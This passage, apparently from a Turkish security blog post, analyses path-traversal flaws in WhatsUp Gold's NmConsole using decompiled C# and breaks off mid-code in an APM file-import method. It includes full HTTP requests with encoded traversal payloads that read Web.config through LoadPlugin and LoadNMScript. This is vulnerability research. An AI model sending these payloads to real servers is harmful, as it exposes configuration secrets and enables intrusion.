&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; ActionResult LoadPlugin(&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; name, &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; title = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; sParams = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.LoadUsingBasePath(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;~/ux/plugins/&amp;#34;&lt;/span&gt;, name, title, sParams, &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;); 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; ContentResult LoadUsingBasePath(&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; inputBasePath, &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; name, &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; title = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; sParams = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;bool&lt;/span&gt; useStickys = &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			IUserService service = DependencyResolverExtensions.GetService&amp;lt;IUserService&amp;gt;(DependencyResolver.Current);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; num = service.GetCurrentUsersID() ?? (-&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; currentUsersLanguageID = service.GetCurrentUsersLanguageID();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (name.Length == &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;base&lt;/span&gt;.Content(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;alert(&amp;#39;No name specified&amp;#39;);&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			name = name.Replace(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;..&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			name = name.Replace(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; text = &lt;span style=&#34;color:#66d9ef&#34;&gt;base&lt;/span&gt;.Server.MapPath(inputBasePath + name); 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (sParams.Length == &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				sParams = &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;{}&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			Dictionary&amp;lt;&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;&amp;gt; dictionary = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Dictionary&amp;lt;&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;&amp;gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; text2 = &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.LoadPluginFromFile(text, num, currentUsersLanguageID, dictionary);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			text2 = text2.Replace(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;(nm,{})&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;(nm,&amp;#34;&lt;/span&gt; + sParams + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;)&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			text2 = text2.Replace(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;(nm, {})&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;(nm,&amp;#34;&lt;/span&gt; + sParams + &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;)&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (text2.Length == &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;base&lt;/span&gt;.Content(&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.Concat(&lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;[] { &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nm.AddPanel({title:&amp;#39;&amp;#34;&lt;/span&gt;, title, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#39;, closable:true, html: &amp;#39;No plugin found for &amp;#34;&lt;/span&gt;, name, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#39;});&amp;#34;&lt;/span&gt; }), &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (useStickys)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				List&amp;lt;&lt;span style=&#34;color:#66d9ef&#34;&gt;object&lt;/span&gt;&amp;gt; appStickys = &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;.GetAppStickys(num, name);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (appStickys.Count &amp;gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; text3 = name.Replace(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.js&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; text4 = &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; JavaScriptSerializer().Serialize(appStickys);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					text2 = &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.Concat(&lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;[] { &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;(function(nm){ nm.sticky.build(&amp;#39;&amp;#34;&lt;/span&gt;, text3, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#39;, &amp;#34;&lt;/span&gt;, text4, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;); })(nm);\n&amp;#34;&lt;/span&gt;, text2 });
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;base&lt;/span&gt;.Content(text2, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;LoadUsingBasePath methodunda dikkat etmemiz gereken iki tane replace kismi var &lt;code&gt;..&lt;/code&gt; ve &lt;code&gt;:&lt;/code&gt; name parametresinden gelen verilerin icinde bu karakterler geciyorsa onlari siliyor sonra &lt;code&gt;~/ux/plugins/ + name&lt;/code&gt; Server.MapPath ile path yolunu olusturuyor en son &lt;code&gt;LoadPluginFromFile&lt;/code&gt; methoduna gonderiyor. name parametresini direk Server.MapPath&amp;rsquo;e ataniyor Server.MapPath name parametresi ile gelen veriyi tam bir path&amp;rsquo;e cevirir problem burda baslar Server.MapPath verilen veriyi tam olarak bir pathe cevirecegi icin silinen karakterler yeterli olmamaktadir.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /NmConsole/Session/LoadPlugin?name=%&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;C...%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A...%&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;C...%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A...%&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;C...%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A...%&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;CNM.UI&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\&lt;/span&gt;Web.config&amp;amp;title=asd HTTP/&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: &lt;span style=&#34;color:#ae81ff&#34;&gt;192.168&lt;/span&gt;.&lt;span style=&#34;color:#ae81ff&#34;&gt;110.55&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;4431&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Chromium&amp;#34;&lt;/span&gt;;v=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;123&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Not:A-Brand&amp;#34;&lt;/span&gt;;v=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;8&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept: application/json
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: application/json
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Requested-With: XMLHttpRequest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua-Mobile: ?&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User-Agent: Mozilla/&lt;span style=&#34;color:#ae81ff&#34;&gt;5.0&lt;/span&gt; (Windows NT &lt;span style=&#34;color:#ae81ff&#34;&gt;10.0&lt;/span&gt;; Win64; x64) AppleWebKit/&lt;span style=&#34;color:#ae81ff&#34;&gt;537.36&lt;/span&gt; (KHTML, like Gecko) Chrome/&lt;span style=&#34;color:#ae81ff&#34;&gt;123.0&lt;/span&gt;.&lt;span style=&#34;color:#ae81ff&#34;&gt;6312.122&lt;/span&gt; Safari/&lt;span style=&#34;color:#ae81ff&#34;&gt;537.36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua-Platform: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Windows&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Site: same-origin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Mode: cors
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Dest: empty
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Referer: https:&lt;span style=&#34;color:#75715e&#34;&gt;//192.168.110.55:4431/NmConsole/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept-Language: en-US,en;q=&lt;span style=&#34;color:#ae81ff&#34;&gt;0.9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Priority: u=&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, i
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;call-trace-loadusingbasepath&#34;&gt;Call Trace LoadUsingBasePath&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;LoadUsingBasePath&lt;/code&gt; methodunun diger kullanildigi yerleri analiz ediyorum birden fazla kullanilan yer var, son olara &lt;code&gt;LoadNMScript&lt;/code&gt; methodunu da gosterecegim&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /NmConsole/Session/LoadNMScript?name=%&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;C...%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A...%&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;C...%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A%&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;A...%&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;CNmConsole&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;\&lt;/span&gt;web.config&amp;amp;title=asd HTTP/&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: &lt;span style=&#34;color:#ae81ff&#34;&gt;192.168&lt;/span&gt;.&lt;span style=&#34;color:#ae81ff&#34;&gt;110.55&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;4431&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Chromium&amp;#34;&lt;/span&gt;;v=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;123&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Not:A-Brand&amp;#34;&lt;/span&gt;;v=&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;8&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept: application/json
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: application/json
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Requested-With: XMLHttpRequest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua-Mobile: ?&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User-Agent: Mozilla/&lt;span style=&#34;color:#ae81ff&#34;&gt;5.0&lt;/span&gt; (Windows NT &lt;span style=&#34;color:#ae81ff&#34;&gt;10.0&lt;/span&gt;; Win64; x64) AppleWebKit/&lt;span style=&#34;color:#ae81ff&#34;&gt;537.36&lt;/span&gt; (KHTML, like Gecko) Chrome/&lt;span style=&#34;color:#ae81ff&#34;&gt;123.0&lt;/span&gt;.&lt;span style=&#34;color:#ae81ff&#34;&gt;6312.122&lt;/span&gt; Safari/&lt;span style=&#34;color:#ae81ff&#34;&gt;537.36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Ch-Ua-Platform: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Windows&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Site: same-origin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Mode: cors
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Sec-Fetch-Dest: empty
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Referer: https:&lt;span style=&#34;color:#75715e&#34;&gt;//192.168.110.55:4431/NmConsole/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept-Language: en-US,en;q=&lt;span style=&#34;color:#ae81ff&#34;&gt;0.9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Priority: u=&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, i
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;vuln-trace-apm&#34;&gt;Vuln Trace (APM)&lt;/h3&gt;
&lt;p&gt;WhatsUp Gold&amp;rsquo;un Application Performance Monitoring (APM) eklentisi Exchange, Sql Server, Dynamics, DNS, IIS, Active Directory gibi kritik uygulamalarin performansini izlemekte gorevlidir.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;APM eklentisinin CommunityController kontrollerine bakalim.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; ActionResult Import(IEnumerable&amp;lt;HttpPostedFileBase&amp;gt; importFiles)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		ActionResult actionResult;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#66d9ef&#34;&gt;foreach&lt;/span&gt; (HttpPostedFileBase httpPostedFileBase &lt;span style=&#34;color:#66d9ef&#34;&gt;in&lt;/span&gt; importFiles)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (httpPostedFileBase.ContentType != &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;text/xml&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;throw&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Exception(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;File imports need to be xml content&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; empty = &lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.Empty;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;try&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					CommunityController._model.ImportProfileFromDisk(httpPostedFileBase, &lt;span style=&#34;color:#66d9ef&#34;&gt;this&lt;/span&gt;._GetPublicKeyFileName(), &lt;span style=&#34;color:#66d9ef&#34;&gt;out&lt;/span&gt; empty);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt;.Compare(httpPostedFileBase.FileName, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PublicKey.xml&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;) != &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;						httpPostedFileBase.SaveAs(Path.Combine(&lt;span style=&#34;color:#66d9ef&#34;&gt;base&lt;/span&gt;.Server.MapPath(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;~/Content/APM/Import&amp;#34;&lt;/span&gt;), httpPostedFileBase.FileName));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#66d9ef&#34;&gt;catch&lt;/span&gt; (Exception ex)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#66d9ef&#34;&gt;string&lt;/span&gt; text = ex.Message;
